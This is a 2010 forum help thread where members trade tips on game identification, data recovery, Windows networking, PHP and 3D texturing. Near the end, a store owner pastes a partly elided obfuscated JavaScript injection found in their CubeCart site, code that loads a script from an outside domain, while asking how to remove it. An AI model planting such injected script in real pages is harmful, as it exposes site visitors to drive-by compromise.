Elite (http://www.mobygames.com/game/amiga/elite/screenshots) was the first game I ever played with my dad and my sister. One would steer, one would shoot and... I guess one would translate the text to others. My dad was a real gamer back in the 80's.
Then there was this one where you'd go about a huge level with a space ship shooting missile bases and stuff. My sometimes you had to land to pick up stuff, so you'd find a smooth spot on the ground and go on with a smaller vehichle, pick it up and return to the space ship. The game was really hard and huge, I never got through it... I wonder what it was :S
And then there was Gravity Force, but we all know that one. Sorry for getting all nostalgic here :D
Title: Re: Ask something - We can help.
Post by: OneDollar on Tue 13/07/2010 12:39:56
Quote from: Tuomas on Tue 13/07/2010 12:11:16
Another one was a turn based assault kind of game that reminds me of Fallout.
Only thing that comes to mind is Jagged Alliance (http://www.mobygames.com/game/jagged-alliance), though I'm only going on screenshots because I've never played it. Don't know if it was on Amiga though.
Title: Re: Ask something - We can help.
Post by: karja on Tue 13/07/2010 13:32:07
Quote from: Tuomas on Tue 13/07/2010 12:11:16
Another one was a turn based assault kind of game that reminds me of Fallout.

The game that pops up in my mind is Space Crusade (http://www.mobygames.com/game/amiga/space-crusade/screenshots/)

But I cant remeber that you started of far apart though..
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 13/07/2010 14:31:29
Quote from: Mati256 on Thu 08/07/2010 04:26:11
If you are running windows just try the "Windows Movie Maker".

Hehe, well I decided to make it in Movie Maker (the reson I never tried befroe was that for some reason I though Youtube didn't accept WMV format... but it does... so I did...

And the end result was okay, but lasted on Youtube for about 10 seconds before being swiftly blocked for breach of copyright... oops, haha.. still, it was a bit of practice.
Title: Re: Ask something - We can help.
Post by: Mati256 on Tue 13/07/2010 15:01:54
Yep, they are pretty strict this days.
I used to watch some series there, but now I can't cause they are blocking them for copyright violation.
Title: Re: Ask something - We can help.
Post by: Babar on Tue 13/07/2010 17:56:04
Things are still blocked for breach of copyright?!
I thought they had eased up now. I had something on youtube for a while, which I had put some commercial music over, and it was "contested" or something. I contested the contest (or whatever), and it was blocked. But now, just recently, it came online again, but has ads.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 25/07/2010 18:52:37
I just realised I made a huge mistake.

I was planning to have the votes for the OROW just be a poll I set up. I just realised the downsides of this. (Especially the fact that you can see how the votes are going while the voting is still going on)

I'm really embarressed :-[ Does anybody know of a way to set up a voting system? (Last minute, I know..)

EDIT: Nevermind, Al_Ninio helped me in #ags (Thanks Al :))
Title: Re: Ask something - We can help.
Post by: on Mon 26/07/2010 16:53:42
Hi folk, I have an emergency issue. I just re-installed Vista onto my c drive and although I didn't choose any format drive options or see it formatting anything, my C drive appears to be completely empty now apart from the new windows install.

Last time I did thisI'm sure it didn't erase everything off the drive, but it is now showing my HD as being practically empty. Is there a way to access an old partition, or have I really done the bad here?

Yours sadly, mods  :'(

who am I kidding, its all gone now isnt it :(
Title: Re: Ask something - We can help.
Post by: Wyz on Mon 26/07/2010 17:05:05
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(
Title: Re: Ask something - We can help.
Post by: Buckethead on Mon 26/07/2010 17:21:16
Does anyone know of a program that gives a proper alarm when the laptop battery is low? Vista doesn't seem to do anything.
Title: Re: Ask something - We can help.
Post by: on Mon 26/07/2010 17:30:36
Quote from: Wyz on Mon 26/07/2010 17:05:05
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(

Cheers. I've tried a few things, it's definitely not bringing any old material back from that HD. sigh
Title: Re: Ask something - We can help.
Post by: paolo on Mon 26/07/2010 20:49:45
I'm looking for a module that will allow me to save and restore from my own GUIs. Pablo wrote such a module (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29566.0) but the links to it have expired.

I'm looking for a "Type a name for savegame"-type module rather than a screenshot-style one (there are a few modules of the latter variety around). Can anyone recommend something suitable? Thanks.
Title: Re: Ask something - We can help.
Post by: Chicky on Mon 26/07/2010 21:11:53
Quote from: Stupot on Tue 13/07/2010 14:31:29

And the end result was okay, but lasted on Youtube for about 10 seconds before being swiftly blocked for breach of copyright... oops, haha.. still, it was a bit of practice.

That's what you get for messing with Gregory House ;)
Title: Re: Ask something - We can help.
Post by: Dualnames on Tue 27/07/2010 02:10:39
Quote from: paolo on Mon 26/07/2010 20:49:45
I'm looking for a module that will allow me to save and restore from my own GUIs. Pablo wrote such a module (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29566.0) but the links to it have expired.

I'm looking for a "Type a name for savegame"-type module rather than a screenshot-style one (there are a few modules of the latter variety around). Can anyone recommend something suitable? Thanks.


http://www.mediafire.com/?gpb4gvc4b6xzu6b

Here it is. It probably works on AGS 2.72 so make a game there, port the guis,  and port the game to 3.0 to get them into a 3.x.x game.
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 27/07/2010 08:05:09
Quote from: Mods on Mon 26/07/2010 17:30:36
Quote from: Wyz on Mon 26/07/2010 17:05:05
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(

Cheers. I've tried a few things, it's definitely not bringing any old material back from that HD. sigh
Sorry to say but when [re]installing on a partition, windows cleansweeps it first.
There seems to be no way to get your stuff back that was on that partition...
Title: Re: Ask something - We can help.
Post by: on Tue 27/07/2010 12:54:16
yup. there is some recovery software but all of them cost money. oh well, fucked up days!
Title: Re: Ask something - We can help.
Post by: Jim Reed on Tue 27/07/2010 13:03:52
Quote from: Mods on Mon 26/07/2010 16:53:42
who am I kidding, its all gone now isnt it :(

I get spasms of laughter when reading this line for some reason.

m0ds, look at it from the bright side, you now learned that you should backup data! =P
Title: Re: Ask something - We can help.
Post by: Babar on Tue 27/07/2010 13:04:54
And to never store data on the Windows (C:) partition.
Title: Re: Ask something - We can help.
Post by: abstauber on Tue 27/07/2010 13:17:11
Quote from: Mods on Tue 27/07/2010 12:54:16
yup. there is some recovery software but all of them cost money. oh well, fucked up days!

Nope!

http://www.pcinspector.de/Default.htm?language=1

This one is free :)

Btw. a tool called UFS explorer even works with damaged drives, as long as they are spinning up and detected by the bios.
Well, at least in my case.
Title: Re: Ask something - We can help.
Post by: on Tue 27/07/2010 13:37:13
Thanks abstauber! I'm trying it. It looks more hopeful than the others! DiskDigger is the only one digging deep enough to find my old files. I have successfully restored one of my video files from my game, LOL but that is it. But that's because that prog is asking for a paid registration before it allows you to save multiple files.

The only major problem for me, for restoring my game (thats the only bother for me ATM) is that these things have allocated filename's to look for (EXE, AVI only etc). I can't for example go looking for my music.VOX, could I? Or will PC Inspector find all filetypes? I have to wait 170 minutes for it to finish it's scan at the moment ;)

Thanks for the link though. Let you know in a bit :)
Title: Re: Ask something - We can help.
Post by: abstauber on Tue 27/07/2010 13:54:45
yep, that should work. It has a "Special Recovery Function" for common filetypes and I guess PC Inspector is able to re-create the file headers for those files.

But as long as the .vox is undamaged, it should be possible to recover it as well.
Title: Re: Ask something - We can help.
Post by: on Tue 27/07/2010 14:30:36
Cheers! Hmm, it's giving everything a default size. I'll keep playing. Thanks though absy :)
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 27/07/2010 14:33:33
Quote from: Mods on Tue 27/07/2010 14:30:36
I'll keep playing.
"keep praying" you mean  :D
I really hope it works out.
Title: Re: Ask something - We can help.
Post by: paolo on Tue 27/07/2010 17:40:15
Quote from: Dualnames on Tue 27/07/2010 02:10:39
http://www.mediafire.com/?gpb4gvc4b6xzu6b

Here it is. It probably works on AGS 2.72 so make a game there, port the guis,  and port the game to 3.0 to get them into a 3.x.x game.

Thanks, Dualnames, I'll try it out. I forgot to mention that I'm using ye olde 2.72, so hopefully it will work straight out of the box.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 28/07/2010 15:27:05
Silly question, but I hope somebody will give a realtive simpe anwser: It's about 3d models and normal maps. It's sort of a thing whre I can't find the connection between two things.
- I plan to try out in Mudbox and 3dsmax. For example I make a low poly mesh and I would than paint it and make a high poly mesh in Mudbox (by building upon it, subdividing it in Mudbox and sculpting etc.)
- I plan to use xNormal for making the normal map (it uses a low poly and high poly .obj and then automatically makes a normal map, which is cool and easier than what I've seen done in Max itself)

The question I have is do I have to unwrap the texture for low poly before modeling the high poly model and then again unwrap high poly model after it's finished, cause I don't how the unwrapped stuff will match when it's an image like png, jpg etc. And do I paint only the high poly model so when a normal map is applied, it fits better?
Title: Re: Ask something - We can help.
Post by: Buckethead on Wed 28/07/2010 16:09:58
You don't ever have to unwrap a highpoly for texture baking. Often a highpoly is made first, then a lowpoly is made based of the highpoly. You then unwrap the lowpoly. But it doesn't really matter when you do this. Just make sure you have it unwrapped when you start baking. Also you are going to want to have as little  UV stretching as possible to get the best results.



Title: Re: Ask something - We can help.
Post by: Anian on Thu 29/07/2010 01:21:05
Quote from: Buckethead on Wed 28/07/2010 16:09:58
You don't ever have to unwrap a highpoly for texture baking. Often a highpoly is made first, then a lowpoly is made based of the highpoly. You then unwrap the lowpoly. But it doesn't really matter when you do this. Just make sure you have it unwrapped when you start baking. Also you are going to want to have as little  UV stretching as possible to get the best results.
Ah, I see. Ok, thank you.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 29/07/2010 16:23:51
Wasn't there a Module that turned blocking events into non blocking events? Such as when the player is automatically walking up to a character/exit/etc once you click on it, and then the dialog or interaction starts. But you could easily just walk away without it being a blocking event?

I have an idea of exactly how I'd do it, but I'm curious how the person who wrote the module did it, JUST in case my idea isn't as clever.

I swear there was one, but I quickly browsed through the whole Module sub-forum and didn't see a title that suggested it.
Thanks!
Title: Re: Ask something - We can help.
Post by: tzachs on Thu 29/07/2010 17:02:34
I believe you're referring to this (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=26945.0).
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 29/07/2010 18:13:26
Oh wow, that's a big scrambled mess of spaghetti. I'll definitely stick with the way I planned on doing it.
Thanks.
Title: Re: Ask something - We can help.
Post by: Khris on Thu 29/07/2010 19:40:16
Maybe you're thinking of mine? I never started a thread for it.
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36383.msg477380#msg477380

It should also be easy to adjust to your needs.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 29/07/2010 19:58:33
I believe I was..
Anyway, I've already written it. Didn't take too long and it's not spaghetti code at all. Very easy to do really.

I was mainly just curious how the others were written.  I may even check out yours later, but for now mine works and I'm happy with it. (plus it keeps Zyndikate off my back... har har. :P joking)
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Fri 30/07/2010 19:03:35
Hey, this is a PHP question.  Let's say for this example, I have a string which is: dude, you're not getting a dell 111506 testing

How could I run through that string so I could check for when numbers start and finish and add a word before and after it? With this example, just pretend I'm adding [number_start] and [number_end]. The value of the numbers is always changing, and there could also be many instances of numbers within the string.

So the modified output would be: dude, you're not getting a dell  [number_start]111506[number_end] testing

Thanks!
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Fri 30/07/2010 19:31:02
iterate through the string and use is_numeric($var) on each character.

Then you can use substr() to format the string however you like once you have the start and end indices of the number
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sat 31/07/2010 06:26:42
This is my question: How to remote desktop?

I understand it's not a fully qualified question, and I haven't included any information about either PC, but I just assume anyone who will know the answer will be able to remotely hack into my computers anyway in order to obtain all necessary information. Thanks.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 31/07/2010 07:50:50
right click My Computer, click Properties, go to the Remote tab and enable "Allow users to connect to this computer"

Click "Select remote users" and add your user (administrator already has access)

open port 3389 on the listening machine (not needed if its on a local LAN obviously)

run / mstsc.exe on the client machine

type the host name/ip of the listening machine into the host box

click connect

Done
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sat 31/07/2010 08:06:52
It is on a local LAN using a WNR2000 router..there's two physical systems..Windows XP and Windows 7. The 7 machine is also running Windows XP Mode which is Windows XP under Virtual PC. The 7 machine and the XP Mode can see each other on the network..which is good considering they occupy the same physical space.

The problem is that no matter what I do I can't seem to get the XP machine to see either of the other two..or vice versa. The internet connection is shared fine, and I am hardwired via an ethernet cable.

The computers are all set to the same workgroup name, sharing settings are set appropriately, firewall settings have been dealt with..etc.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 31/07/2010 08:08:21
can they ping each other?
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sat 31/07/2010 08:41:12
No, they cannot. The ping request times out.
Title: Re: Ask something - We can help.
Post by: TerranRich on Sat 31/07/2010 08:54:06
Ryan Timothy: Regular expressions are also great for scenarios like that. Something like:


$new_str = preg_replace('/([^0-9]*?)([0-9]+?)([^0-9]*?)/i', '$1 inserta$2insertb #3', $old_str);


I'm sure it can be done way better than that, but it's just an example. Not even sure if it's faster and more efficient than Calin's methods.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 31/07/2010 09:11:53
Monkey: If they can't ping then you have a fundamental network issue.. try using DHCP on the router and see if that fixes it (since the router will control network allocation and DNS)

TR & RT (:D): I would imagine thaty my method is slightly faster since a regex function will do unnecessary checks for your particular problem but using preg is certainly simpler and cleaner.

In the end I imagine they do exactly the same thing under the hood anyway.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sat 31/07/2010 09:52:04
The router is already being used as a DHCP server.
Title: Re: Ask something - We can help.
Post by: Privateer Puddin' on Sun 01/08/2010 15:24:52
Hello, I want to make a gamercard / stat card thing, you might be familiar with these if you're a console gamer, but I guess there are PC ones too?

Something that shows a gamertag, and some stats from a game.

Here's an example of something I want to do

(http://www.custardsclutter.com/stats.png)

with the data coming from: http://www.eafootballworld.com/en_GB/clubs/742A0001/268044/members

(hopefully you can see that without having to log in?)

I'd like to do it automagically, so I just generate one image for whatever player wants it, and it'll just grab the latest data every day? I have a way to do it by copy and pasting from the page and using that data, but dunno the magic to do it nice automatically :)
Title: Re: Ask something - We can help.
Post by: Leon on Sun 01/08/2010 17:50:10
Not sure which language you're using to create your app (AGS?) but cUrl (http://curl.haxx.se/) is something we used a lot to fetch data from websites automated...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 01/08/2010 17:54:11
I am doing exactly the same thing for an AGS achievement system (which works by the way ^_^).

The best way to do it i think is to use a PHP graphics library to generate the image based on data from a database... thats what mine does anyway.
Title: Re: Ask something - We can help.
Post by: GarageGothic on Sun 01/08/2010 18:06:23
Quote from: Calin Leafshade on Sun 01/08/2010 17:54:11I am doing exactly the same thing for an AGS achievement system (which works by the way ^_^).

So we can look forward to hunting around for hundred hidden bluecups in McCarthy ep. 2?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 01/08/2010 18:18:52
especially now that you've just given me that idea.
Title: Re: Ask something - We can help.
Post by: ddq on Sun 01/08/2010 19:06:38
But they would probably stand out pretty easily against the black and white.
Title: Re: Ask something - We can help.
Post by: Ali on Sun 01/08/2010 20:42:05
They only turn blue once you find them, of course.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Mon 02/08/2010 22:31:50
My primary HDD died. Fix it.

Edit: It came back to life. Thanks for fixing it guys. You're the best.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Wed 04/08/2010 20:07:14
Networking on Windows 7



Who told Mr. Gates that completely screwing everyone was a good idea? I think it must have been his financial advisor. The reason I say that is because Microsoft's free help services like their online "[Lack of] Knowledge Base" has absolutely no helpful information. Presumably calling the toll number for support would help though.

You have no idea how many results "windows 7 unidentified network" yields in a Google search. That is unless you are of course actually using Windows 7. For those who aren't using 7, let me just warn you that wired network connections, by default, are considered "Unidentified public network(s)" in Windows 7. Yes, of course it's public, hence the fact that my desktop PC is physically connected. Why wouldn't it be? Oh, and you can't change the type of network without modifying 7's security policies.

Doing that of course just makes it into an "Unidentified work network" though, so that does a lot of good.

Troubleshooting doesn't do any good because the built-in troubleshooter just says "Windows can't fix the problem."

Google, which is normally our friend, seems as lost and confused as I am. Despite the more than two million results, of which I have of course tried every single one and that is not an exaggeration by any means..::)..nothing seems to be fixing the problem.

I tried using Windows XP Mode which worked for a while, until suddenly it didn't. Nothing actually changed, Windows just decided allowing me to have the internet in my room was unacceptable. Rebooting all systems and such normal preliminary troubleshooting did nothing.

Finally I encountered an article on Google that yielded some insight. Manually assigning the Default Gateway of the ethernet port (in addition to modifying 7's security policies and disabling Windows Firewall, which is really just a way of Microsoft controlling what you can do with your network anyway) finally got 7 to recognize it as an identifiable network. But, we're not home just yet.




THE QUESTION:

Given the above information I now have an identified home network connection on the local ethernet port, but it says "No network access". WHY??

Oh, and apparently starting XP Mode gave it network access, but it is local only. I need it to have internet connectivity. Fix it plzkthxbai.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Tue 10/08/2010 03:18:49
I understand quite fully the purposes of HTTPS, but currently my internet access is being derived from one or more Android applications (testing different applications to see if the cheaper one is better, in the event we purchase one) to use the data services of the phone to allow tethering. However, the free versions of these applications disallow HTTPS.

I have verified that I can access HTTPS secured pages via a proxy site which serves the page back to me via HTTP.

Is there any way to set this type of proxy access up to directly serve HTTPS sites via HTTP?

If not the full applications range from about $10-$30 USD, as a one time fee, so it's not that big of a deal. Just curious more than anything.
Title: Re: Ask something - We can help.
Post by: Tuomas on Thu 12/08/2010 10:25:22
So here's a question:

I have this Acer laptop with Vista on it. The Vista came with no Cd, so once I opened this, it installed itself. I know this is a daft question, but I need to access and update my bios. At startup it says F2 for Setup, nothing more. Now I've restared the computer several time, trying out del, F8 and F4 and such. Well, I thought setup would be the place, but I can't find anything concerning my bios or how to update it :/ How to?
Title: Re: Ask something - We can help.
Post by: Oliwerko on Thu 12/08/2010 10:29:37
First you have to know exactly what motherboard does your laptop have. Then go to the manufacturer's website and instructions should be there. (in a case of a laptop the laptop's manufacturer's site should have the BIOS I guess)

For example, I have an Intel DP35DP, so I went onto Intel site and downloaded an .exe which conveniently updated my bios on its own. Another procedures include flash disks or burning it onto CDs and such.

Anyway, if I recall correctly the rule of thumb is not to update bios if you don't need to.
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 12/08/2010 13:20:38
Quote from: monkey_05_06 on Wed 04/08/2010 20:07:14
You have no idea how many results "windows 7 unidentified network" yields in a Google search.

Are you talking about case where randomly after rebooting internet is down, connection list shows unidentified network and the devil's in a stupid service with strange name (Bonjour DNS Responder if I recall correctly) that Abobe (may you burn in hell) installs so disabling it fixes the problem?
Title: Re: Ask something - We can help.
Post by: Tuomas on Thu 12/08/2010 14:11:42
Quote from: Oliwerko on Thu 12/08/2010 10:29:37
Anyway, if I recall correctly the rule of thumb is not to update bios if you don't need to.

I'm fairly sure this is however what I need to do. Once I installed my tablet last time, the touchpad driver broke down and wouldn't work, so I had it repaired and they installed the driver anew and updated the bios for the touchpad. This time I found new drivers for the tablet, installed them and got it working finally properly, only it screwed up my touchpad again. I managed to update the driver there too, there's still bios things, afaik. Though I'm afraid the problem might be, that my touchpad and my tablet don't just like to co-exist.

PS. any idea how to find the mobo without opening this shit up. I won't mind, but it's a lot of work :P
Title: Re: Ask something - We can help.
Post by: Oliwerko on Thu 12/08/2010 18:46:55
I would look up your laptop model on the manufacturer's site, BIOS updates will hopefully be where other drivers are. At least with my DELL it was like this. Opening the thing up probably wouldn't help.
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Fri 13/08/2010 07:22:12
[QUESTION]
Who is the character artist and who is the animator I should hire for my (640x480) game (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36479.msg549880#msg549880)? :P

(http://www.sonsofgaia.net/cell.png) (http://www.sonsofgaia.net/cell.png)
[1/2 size]
Title: Re: Ask something - We can help.
Post by: Buckethead on Fri 13/08/2010 08:35:27
I recommend Progzmax  ;)
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 13/08/2010 10:33:59
Okay, here's a question.

What's the musical instrument playing the solo at 1:06 in The Renegade Theme (http://www.youtube.com/watch?v=x94hc46MfX4&feature=related)?

I think it may be some kind of woodwind or such, but am clueless about the precise specification.
Anyone?
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 13/08/2010 11:10:38
Sounds like plain guitar + harmonica to me.
Title: Re: Ask something - We can help.
Post by: Wyz on Fri 13/08/2010 11:11:48
I'd say it's a harmonica, a bit distorted though.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 13/08/2010 12:17:18
Harmonica was my first guess too, that would have to be a larger one I guess...? A small blowing harmonica has is a bit higher, isn't it?
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 13/08/2010 14:45:50
A small blues harmonica with 10 holes has just 3 octaves in pentatonic scales, so this one's definately not that, but a larger 16-hole chromatic harmonica, which goes a bit over 4 octaves, I presume.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 13/08/2010 19:25:15
Thanks for helping out, I'll look into it. The most important thing to know is that it's really a harmonica.  :)
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Sun 15/08/2010 18:17:38
I've got a difficult question that I believe NO ONE here can answer. I've been looking for a song for a few years now. It's entirely instrumental. It mainly consists of an electric jazz piano playing a jazzy riff over and over. The guitar only does a fast pick of a chord only once in a while. I believe that the song came from the 70's, as that's the style, but I can be completely wrong about that. That's all I really remember about the song. If anyone can help, I'd be very VERY grateful.
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 16/08/2010 12:16:45
Youch, that's one hell of a task, Grim, but that's what the thread's for.  We accept your challenge ;-)
Title: Re: Ask something - We can help.
Post by: Tuomas on Mon 16/08/2010 12:25:43
Sorry to bug in, but I've got a short little question I was hoping you could help with. I've got a laptop with vista connected to a router wireless. I've got another laptop right next to it with vista as well, but it doesn't find the wireless connection. It does however find all of the other connections in the building. Why?

edit: fixed, not by what GG said, but thanks anyway. Still don't know the reason thoughh:)
Title: Re: Ask something - We can help.
Post by: GarageGothic on Mon 16/08/2010 12:46:18
Is your router set to broadcast its identity (SSID)? Otherwise you'll have to add a new network under "Manage wireless network" in the "Network and Sharing Center" and enter the network name manually along with any encryption method and password used.

@grim: Not a lot to go on - if you remember the melody, perhaps you could record yourself playing or humming it? Not sure it would help, but it might be good for a laugh :)
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 16/08/2010 13:09:08
Quote from: GarageGothic on Mon 16/08/2010 12:46:18
@grim: Not a lot to go on - if you remember the melody, perhaps you could record yourself playing or humming it? Not sure it would help, but it might be good for a laugh :)

You can also do it online (http://www.google.com/#hl=en&source=hp&q=hum+to+identify+song&aq=0&aqi=g1&aql=&oq=hum+to+id&gs_rfai=&fp=dba07cc1e57261b) and maybe get instant results
Title: Re: Ask something - We can help.
Post by: monkey0506 on Mon 16/08/2010 20:46:02
@Increator @ me: No. There are no installed Adobe programs that would have and/or did install that service which is not running and was totally unrelated. I ultimately corrected the issues by not using the Internet port of the router at all and only using the other ports. Which frankly doesn't make sense, but it works.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Tue 17/08/2010 02:26:05
I found a copy of the song on an old mix CD that someone had burned for my brother a few years ago. There are no track names, but I was able to upload the song.

http://www.multiupload.com/ZK4RYNQQR2

I would be grateful if anyone can help!
Title: Re: Ask something - We can help.
Post by: GarageGothic on Tue 17/08/2010 03:02:46
Green Onions (http://www.youtube.com/watch?v=U-7QSMyz5rg) by Booker T. & the M.G.'s (could be a cover version though, hard to tell with instrumentals - Blues Brothers did a nice one)
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 17/08/2010 10:47:48
Haha, man, this still plays on a Dressman - men's clothing commercial on tv all the time. Well, in Finland at least.
Title: Re: Ask something - We can help.
Post by: TerranRich on Tue 17/08/2010 15:36:02
Another version of "Green Onions": http://www.youtube.com/watch?v=IM6MEb2xnLk
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Sun 22/08/2010 06:14:34
Thanks all for your response. I can finally sleep now that I know what the song is called.

I've got another question that I hope someone can help me with. I recently discovered 3D videos on YouTube, and have since decided to convert my movies into 3D (using red/cyan). I've been following this guide located at http://www.maximumpc.com/article/howtos/how_upgrade_your_2d_movies_3d. The video works as would be expected, but for some reason, the audio is always out of sync. I've tried this on several different files, but this keeps happening. There are two movies I've tried that I was successful able to convert. Can someone explain how to fix this? Thanks.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Wed 25/08/2010 10:43:31
Okay, I've got a song I can identify, but can't find a studio recording of it anywhere to buy or anything.

It comes from the movie Little Vera (http://en.wikipedia.org/wiki/Little_Vera) and plays during the disco fight scene (http://www.youtube.com/watch?v=4PLaNyaUiQs&feature=related).

There's one version all over the internet which is sadly only a cut from the movie.

Now the actual artist is Галина Шевелева (Galina Sheveleva) and its name is "How Well" ("Как Хорошо"). The lyrics are apparently written by V. Matetskiy.


If there is any source from which one could get to the actual studio recording and not just a cut from the movie, I would be EXTREMELY happy.
Please, make me happy  :P

Thanks for any effort!
Title: Re: Ask something - We can help.
Post by: InCreator on Tue 31/08/2010 09:27:40
Here's one:

I've been wondering how would world look like if I was microscopic. A bit larger than a molecule, maybe.
My theory is that from this standpoint, friction and chemistry should look quite dramatic. For example, placing hand on a table would cause thousands of skin cells and wood/varnish pieces to scatter, loads of water and oil in skin is pushed through the cells, atoms in skin start reacting with atoms in table, etc. Like that episode in South Park with fleas where even head washing looked like tsunami.

And it's all just too microscopic to actually see table or skin damage/wear or feel any actual chemical reaction.

Is that plausible, or are materials actually much more stable than I think and nothing of sort would happen?
Title: Re: Ask something - We can help.
Post by: Alun on Tue 31/08/2010 16:21:40
Quote from: InCreator on Tue 31/08/2010 09:27:40I've been wondering how would world look like if I was microscopic. A bit larger than a molecule, maybe.

Well, there's microscopic, and then there's "microscopic".  If you're talking "a bit larger than a molecule"... then there are other things to consider.  If you're "a bit larger than a molecule", are you then made up of only one or two molecules?  If so, then how are you able to feel or sense anything anyway?  A single molecule isn't complex enough to be alive.  Or if you assume the molecule is somehow magically alive... well, then whether or not it would react with anything depends on what the molecule is made of, but in any case there's no point in talking about "hands" or "cells" if there's only one molecule.  On the other hand, if you're assuming the molecules in your body themselves shrink... well, then, we're talking about something impossible in modern physics, and it's not really feasible to say how such shrunken molecules would interact with normal molecules because they shouldn't be able to exist anyway.

But maybe I'm reading too much into this, and the part about you being microscopic isn't germane to the question; you're only asking about what's going on on the microscopic scale and the exact method used to sense this is irrelevant.  In that case, well, yes, on the microscopic scale atoms and molecules are coming off all the time.  Even larger units are flaking off; you're constantly shedding off microscopic bits of skin.  When you smell anything, you're actually inhaling bits of that thing that have come off and been carried through the air, so your sense of smell depends on the fact that this happens.

But really, a lot of things are different on small scales, so it's hard to answer this concisely.  Things like friction, air resistance, and liquid surface tension all become much more significant on the scale of an insect than that of a human.  Get down even smaller, and other things come into play; when you get down to the size of an atom or molecule, then quantum mechanics steps in, and things get really weird... things don't have definite position, everything is a probabilistic wave, and solid objects have a small but finite probability of passing through each other... insofar as a "solid object" even exists at that scale...
Title: Re: Ask something - We can help.
Post by: Anian on Tue 31/08/2010 16:46:54
...how would your body be constructed? For example absorption of oxygen would be impossible if compared to you it was the size of a car. And even if it wasn't, would you be strong enough to pull away one atom from another in a molecule?
You'd have a completly diffrenet way of basic building blocks and mechanics. Your body might be constructed out of something that's probably smaller than bosons. Not to mention that you'd probably be torn appart as soon as you reach that size, your building blocks would probably have too low interconnection to resist forces we consider harmless (like water tension - you can break it with your finger, but at micro (or even visible under microscope size) sizes it'd probably hold you stuck.

Perspective: if a fly is a proton then a whole atom (with electrons) is the size of a smaller cathedral. So smaller than a molecule and a bit bigger than a molecule changes things quite a bit.
You'd also probably be affected by gravitiy, polar forces in things like water molecules, magnetism, electricity, probably no friction though because you'd just have to watch out not to touch the bosons.

Then again, if you were like 5 molecules high (tall), things would be different.
Title: Re: Ask something - We can help.
Post by: on Mon 06/09/2010 19:04:51
Something PHPy - I have a CubeCart store but Google web tools is telling me there's malicious code in it somewhere, namely these urls:

/store/
/store/index.php?act=viewCat&catId=6

with the code:


<script language=javascript><!--
(function(mnFxR){var hMmgD='v#61r#20a#3d#22Sc#72#69#70#74#45
ngine#22#2cb#3d#22Vers#69on#28)+#22#2cj#3d#22#22#2cu#3dn#61v
#69gat#6fr#2e#75#73e#72#41#67ent#3bif(#28#75#2eindexOf#28#22
Chro#6d#65#22)#3c#30)#26#26you#2eindex#4ff(#22Wi#6e#22)#3e0#2
9#26#26you#2e.... some edited out here ........  src#3d#2f#2
f#6d#22+#22artuz#2e#63n#2fvi#64#2f#3fid#3d#22+#6a+#22#3e#3c#
5c#2fscr#69pt#3e#22)#3b#7d';eval(unescape(hMmgD.replace(mnFx
R,'%')))})(/\#/g);
--></script>


My question is this. Neither of those URL's actually point to a file where I might find the problem. I've checked index.php and removed it and also it was in the .js thing and so I removed the code from that, resubmitted to Google but it's come up with the problem again (in different areas of the site).

So, in my main store folder with index.php and cart.php etc I've checked all the php files and the code is NOT in them. Where the heck else might it be? And how do I check the contents of the one with product ID through my FTP client, cos again, it's not a HTML page but I'd assume somewhere it is storing the info I'm writing onto those pages.

Any help or some pointers are appreciated, thanks! :)
Title: Re: Ask something - We can help.
Post by: ddq on Wed 08/09/2010 05:48:05
If anyone has ridden on the Trans-Siberian Railway at any point in the past, I'd be ecstatic to get in contact and ask a few questions for some research.
Title: Re: Ask something - We can help.
Post by: on Thu 09/09/2010 10:28:06
